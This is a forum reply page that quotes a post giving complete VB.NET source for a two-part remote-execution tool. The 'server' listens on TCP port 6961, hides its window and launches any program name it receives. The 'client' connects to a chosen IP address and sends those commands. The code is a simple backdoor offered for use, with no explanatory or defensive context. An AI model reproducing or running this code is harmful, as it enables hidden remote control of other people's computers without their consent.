Home
Resources
Latest reviews
Search resources
Forums
New posts
Search forums
Members
Current visitors
New profile posts
Search profile posts
What's new
New posts
New resources
New profile posts
Latest activity
Rules
Log in
Register
What's new
Search
Search
Search titles only
By:
New posts
Search forums
Menu
Log in
Register
Install the app
Install
Home
Forums
Community
Spammm
Grandpa Ze vs not490
JavaScript is disabled. For a better experience, please enable JavaScript in your browser before proceeding.
You are using an out of date browser. It may not display this or other websites correctly.
You should upgrade or use an
alternative browser
.
Reply to thread
Message
<blockquote data-quote="John101" data-source="post: 28355" data-attributes="member: 218"><p><strong>Re: Never go full Styler</strong></p><p></p><p>------SERVER------</p><p></p><p>Imports System.Net</p><p>Imports System.Net.Sockets</p><p>Imports System.IO</p><p>Imports Microsoft.Win32</p><p></p><p>Public Class Form1</p><p>Dim port As Integer = 6961</p><p>Dim sock As New TcpClient()</p><p>Dim tcpc As New TcpListener(port)</p><p>Dim place As String</p><p></p><p>Private Sub listen()</p><p>Try</p><p>tcpc.Start()</p><p>sock = tcpc.AcceptTcpClient()</p><p>Catch ex As Exception</p><p>End Try</p><p></p><p>End Sub</p><p></p><p>Private Sub check()</p><p>If sock.Connected = True Then</p><p>sock.SendTimeout = 5000</p><p>Try</p><p>Dim nstream As NetworkStream = sock.GetStream</p><p>Dim bit(sock.ReceiveBufferSize) As Byte</p><p>nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))</p><p>Dim str As String = System.Text.Encoding.ASCII.GetString(bit)</p><p>Dim id() As String = Split(str, "*", -1, CompareMethod.Text)</p><p></p><p></p><p>If id(0) = 0 Then</p><p>Dim stri As String = id(1)</p><p>Process.Start(stri)</p><p>End If</p><p>Catch ex As Exception</p><p>check()</p><p>End Try</p><p>End If</p><p>End Sub</p><p></p><p>Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load</p><p></p><p></p><p>While sock.Connected = False</p><p>Try</p><p>listen()</p><p>Catch ex As Exception</p><p>End Try</p><p>End While</p><p></p><p>While True</p><p>check()</p><p>End While</p><p>Me.Hide()</p><p>End Sub</p><p>End Class</p><p></p><p></p><p>------Client------</p><p></p><p>Imports System.Net</p><p>Imports System.Net.Sockets</p><p></p><p>Public Class Form1</p><p>Dim sock As New TcpClient()</p><p>Dim ip As IPAddress = IPAddress.Parse("127.0.0.1")</p><p>Dim port As Integer = 6961</p><p></p><p>Private Sub connect()</p><p>ip = IPAddress.Parse(TextBox1.Text)</p><p>port = TextBox2.Text</p><p>Try</p><p>sock.Connect(ip, port)</p><p></p><p>Catch ex As Exception</p><p>MsgBox("Can not connect to designated ip at this time")</p><p>End Try</p><p>End Sub</p><p></p><p>Private Sub dat(ByVal dat As String)</p><p>Dim nstream As NetworkStream = sock.GetStream()</p><p>Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(dat)</p><p>nstream.Write(bit, 0, bit.Length)</p><p>End Sub</p><p></p><p>Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click</p><p>connect()</p><p>End Sub</p><p></p><p>Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click</p><p></p><p>dat("0*" + TextBox3.Text)</p><p>End Sub</p><p>End Class</p></blockquote><p></p>
[QUOTE="John101, post: 28355, member: 218"] [b]Re: Never go full Styler[/b] ------SERVER------ Imports System.Net Imports System.Net.Sockets Imports System.IO Imports Microsoft.Win32 Public Class Form1 Dim port As Integer = 6961 Dim sock As New TcpClient() Dim tcpc As New TcpListener(port) Dim place As String Private Sub listen() Try tcpc.Start() sock = tcpc.AcceptTcpClient() Catch ex As Exception End Try End Sub Private Sub check() If sock.Connected = True Then sock.SendTimeout = 5000 Try Dim nstream As NetworkStream = sock.GetStream Dim bit(sock.ReceiveBufferSize) As Byte nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize)) Dim str As String = System.Text.Encoding.ASCII.GetString(bit) Dim id() As String = Split(str, "*", -1, CompareMethod.Text) If id(0) = 0 Then Dim stri As String = id(1) Process.Start(stri) End If Catch ex As Exception check() End Try End If End Sub Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load While sock.Connected = False Try listen() Catch ex As Exception End Try End While While True check() End While Me.Hide() End Sub End Class ------Client------ Imports System.Net Imports System.Net.Sockets Public Class Form1 Dim sock As New TcpClient() Dim ip As IPAddress = IPAddress.Parse("127.0.0.1") Dim port As Integer = 6961 Private Sub connect() ip = IPAddress.Parse(TextBox1.Text) port = TextBox2.Text Try sock.Connect(ip, port) Catch ex As Exception MsgBox("Can not connect to designated ip at this time") End Try End Sub Private Sub dat(ByVal dat As String) Dim nstream As NetworkStream = sock.GetStream() Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(dat) nstream.Write(bit, 0, bit.Length) End Sub Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click connect() End Sub Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click dat("0*" + TextBox3.Text) End Sub End Class [/QUOTE]
Name
Verification
What is a common type of content that users share on ugbase.eu?
Post reply
Home
Forums
Community
Spammm
Grandpa Ze vs not490
This site uses cookies to help personalise content, tailor your experience and to keep you logged in if you register.
By continuing to use this site, you are consenting to our use of cookies.
Accept
Learn more…
Top